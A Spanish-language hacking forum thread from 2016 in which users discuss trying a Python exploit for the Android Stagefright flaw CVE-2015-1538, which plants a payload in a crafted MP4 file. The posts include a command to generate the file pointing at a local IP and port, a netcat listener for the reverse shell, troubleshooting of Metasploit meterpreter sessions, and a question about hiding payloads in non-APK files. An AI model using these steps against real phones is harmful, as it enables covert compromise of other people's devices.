comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[cve-2015-1538-1] Exploit para android en python

  • 8 Respuestas
  • 4368 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado $francisco

  • *
  • Underc0der
  • Mensajes: 191
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: hackloper
« en: Marzo 31, 2016, 04:22:00 pm »
Es realmente interesante esta vulneravilidad de android que está basada en un bug del sofware multimeda que afecta de la versión 2.2 a la 5.1

No tienes permisos para ver links. Registrate o Entra con tu cuenta

Se envia el video en el formato ".mp4" y este contiene el codigo para explotar la vulneravilidad en android y aunque todavia no lo he utlizado me parecio muy interesante y si lo pruebo os comento que tal fué.
« Última modificación: Abril 04, 2016, 08:57:18 pm por Expermicid »

Desconectado Alanprogrammer

  • *
  • Underc0der
  • Mensajes: 8
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Zero-Day
    • Email
« Respuesta #1 en: Marzo 31, 2016, 05:27:57 pm »
Habia oido algo sobre ese bug ahorita lo veo se oye interesante :)
« Última modificación: Abril 04, 2016, 08:57:29 pm por Expermicid »

Desconectado r4gnath0r

  • *
  • Underc0der
  • Mensajes: 82
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Septiembre 25, 2016, 11:23:30 am »
¿Alguien lo ha probado ya?

Desconectado d0r127

  • *
  • Underc0der
  • Mensajes: 116
  • Actividad:
    0%
  • Reputación 1
  • Sin hocico y paranoico
    • Ver Perfil
« Respuesta #3 en: Octubre 03, 2016, 03:39:58 pm »
yo he llegado hasta aqui....vi el post y me parecio interesante..pero a la hora de ejecutar el script me daba errores...este video me ayudo a corregir ciertos errores que me daba al ejecutarlo
una vez consegui ejecutar el script segui los pasos, me genero el mp4 y al probarlo ese fue el resultado...no abre ninguna sesion






Desconectado d0r127

  • *
  • Underc0der
  • Mensajes: 116
  • Actividad:
    0%
  • Reputación 1
  • Sin hocico y paranoico
    • Ver Perfil
« Respuesta #4 en: Octubre 03, 2016, 04:38:54 pm »
yo he probado esto..consigo sesion pero se pierde a los pocos segundos..y a la hora de hacer un help en el meterpreter no aparecen opciones como sysinfo getuid shell etc...




el tio este lo hace desde el modulo ya cargado en metasploit pero yo no consigo cargar el modulo...lo intente haciendo esto

copie el script a la ruta donde estan los exploits y lo intente ejecutar desde la consola de metasploit pero me aparece como que no encuentra el script

video del tipo ejecutando el modulo en metasploit





Desconectado $francisco

  • *
  • Underc0der
  • Mensajes: 191
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: hackloper
« Respuesta #5 en: Octubre 04, 2016, 06:01:21 pm »
Yo probe con el 38164 y no funciona
Código: Bash
  1. mp4.py -c 192.168.0.168 -p 4444
Código: Bash
  1. netcat -l -p 4444

Yo tengo android 4.4.2 y no funciona supuestamente es para inferior a 5.0 y tambien probe con los demas exploit y nada

Desconectado ceroMee

  • *
  • Underc0der
  • Mensajes: 37
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil
    • Email
« Respuesta #6 en: Octubre 04, 2016, 11:17:12 pm »
como que tiene muchos bugs ese exploit, o seran a proposito?

Desconectado $francisco

  • *
  • Underc0der
  • Mensajes: 191
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: hackloper
« Respuesta #7 en: Octubre 05, 2016, 09:51:24 am »
Quizas sea a proposito pero se cambia rapido, solo es sustituir unas pocas cosas pero creo que esos errores los parchean enseguida

Desconectado r4gnath0r

  • *
  • Underc0der
  • Mensajes: 82
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #8 en: Octubre 28, 2016, 11:00:00 am »
Yo estoy intentando abrir una sesion meterpreter en un android, pero no se instala la aplicacion .apk. ¿Alguien sabe por que?

También estoy buscando como añadir el payload en otro archivo que no sea apk, como en el caso de este post, crea un archivo mp4.

 

¿Te gustó el post? COMPARTILO!



Rifap - Un script para reunir la informacion de un telefono en mas de 232 paises

Iniciado por DtxdF

Respuestas: 4
Vistas: 1467
Último mensaje Julio 05, 2018, 02:34:56 am
por DtxdF
[APORTE] cat.py, herramienta para buscar panel administrativo web

Iniciado por k1llu4s3x

Respuestas: 0
Vistas: 894
Último mensaje Febrero 27, 2018, 12:06:26 am
por k1llu4s3x
PythonLOIC - Nueva herramienta para ataques Ddos

Iniciado por ANTRAX

Respuestas: 17
Vistas: 7392
Último mensaje Septiembre 08, 2014, 05:38:01 pm
por Hexs
Librería para parsear de forma correcta los mensajes del IRC

Iniciado por Polsaker

Respuestas: 0
Vistas: 1060
Último mensaje Junio 03, 2015, 07:09:51 pm
por Polsaker
Desarrollando BOTs para Telegram - Parte 1

Iniciado por blackdrake

Respuestas: 1
Vistas: 1698
Último mensaje Septiembre 28, 2018, 06:10:53 am
por basuh